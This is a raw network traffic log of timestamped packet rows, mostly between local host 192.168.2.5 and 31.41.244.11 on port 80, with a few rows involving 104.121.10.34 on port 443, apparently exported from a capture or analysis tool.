Dec 17, 2024 08:03:33.278115034 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.278834105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.279021978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.279062986 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.279771090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.279808998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.279903889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.280471087 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.280651093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.280788898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.280837059 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.281586885 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.281639099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.281687021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.281788111 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.282489061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.282535076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.282603025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.282643080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.283474922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.283519030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.283521891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.283562899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.284354925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.284398079 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.284440041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.284504890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.285235882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.285279989 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.285348892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.285489082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.286173105 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.286221981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.286262989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.287111044 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.287158966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.287198067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.287992001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.288038969 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.288084984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.288122892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.288916111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.288964033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.289009094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.289083004 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.289827108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.289871931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.289921045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.290117979 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.290745020 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.290792942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.290831089 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.290869951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.291662931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.291714907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.291760921 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.291837931 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.292563915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.292612076 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.292658091 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.292699099 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.293481112 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.293560982 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.293631077 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.294471979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.294572115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.294612885 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.295370102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.295447111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.295490026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.296247959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.296291113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.296375990 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.296575069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.297171116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.297322989 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.297365904 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.298083067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.298137903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.298248053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.298572063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.299021959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.299071074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.299117088 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.299289942 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.299922943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.300057888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.300112963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.300801992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.300849915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.300926924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.300992012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.301764965 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.301820040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.301860094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.301940918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.302643061 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.302692890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.302762032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.302911043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.303567886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.303620100 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.303654909 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.304474115 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.304528952 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.304575920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.305411100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.305421114 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.305450916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.305449009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.305488110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.306335926 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.306375980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.306458950 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.306497097 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.307238102 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.307291031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.307338953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.307531118 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.308135033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.308186054 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.308226109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.308262110 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.309077978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.309120893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.309168100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.309207916 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.309966087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.310029984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.310069084 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.310137987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.310889959 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.310940981 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.310944080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.310980082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.311830997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.311877012 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.457439899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.457535028 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.457629919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.457678080 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.457779884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.457843065 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.458318949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.458358049 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.458391905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.458786011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.458843946 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.458849907 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.459675074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.459736109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.459813118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.459863901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.460582018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.460705996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.460766077 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.461503029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.461626053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.461694002 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.462394953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.462454081 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.462528944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.463361979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.463428974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.463483095 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.464238882 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.464298010 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.464346886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.464395046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.465178013 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.465332031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.465403080 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.466099024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.466233015 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.466295958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.466979980 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.467042923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.467118979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.467993021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.468050003 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.468063116 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.468614101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.468828917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.468966961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.469023943 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.469750881 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.469887018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.469944000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.470638037 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.470714092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.470788002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.471581936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.471648932 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.471785069 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.471854925 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.472532988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.472588062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.472672939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.472732067 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.473601103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.473660946 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.473727942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.473783016 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.474637032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.474697113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.474752903 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.474816084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.475511074 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.475565910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.475637913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.475701094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.476439953 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.476496935 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.476561069 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.477581024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.477637053 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.477818012 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.478404999 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.478441954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.478461981 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.478497028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.478893995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.478979111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.479037046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.479300022 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.479384899 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.479391098 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.479460001 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.479496956 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.479497910 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.479562044 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.479578018 CET	443	49883	104.121.10.34	192.168.2.5
Dec 17, 2024 08:03:33.479856968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.480006933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.480066061 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.480763912 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.480886936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.480942011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.481645107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.481708050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.481772900 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.482563019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.482625961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.482700109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.483500957 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.483566046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.483633041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.484447002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.484515905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.484617949 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.485351086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.485409021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.485440016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.486228943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.486289024 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.486325026 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.487159967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.487222910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.487289906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.487353086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.488065004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.488190889 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.488250017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.488996029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.489144087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.489204884 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.489929914 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.490015030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.490051985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.490106106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.490843058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.490906954 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.490983963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.491758108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.491832972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.491877079 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.492588043 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.492846966 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.493000031 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.493057966 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.493558884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.493722916 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.493782997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.494472027 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.494623899 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.494678974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.495446920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.495493889 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.495579958 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.496315002 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.496371984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.496458054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.496568918 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.497226954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.497392893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.497442007 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.498126984 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.498286963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.498342037 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.499109983 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.499167919 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.499196053 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.499985933 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.500047922 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.500133991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.500581980 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.501005888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.501060963 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.501117945 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.501796961 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.501941919 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.502016068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.502729893 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.502787113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.502882004 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.503770113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.503833055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.503899097 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.504527092 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.504580975 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.504612923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.528053045 CET	49883	443	192.168.2.5	104.121.10.34
Dec 17, 2024 08:03:33.648930073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.648983955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.649068117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.649068117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.649219036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.649257898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.649276972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.649322033 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.650110960 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.650170088 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.650257111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.650314093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.650975943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.651035070 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.651122093 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.651177883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:33.651891947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:33.651951075 CET	49867	80	192.168.2.5	31.41.244.11
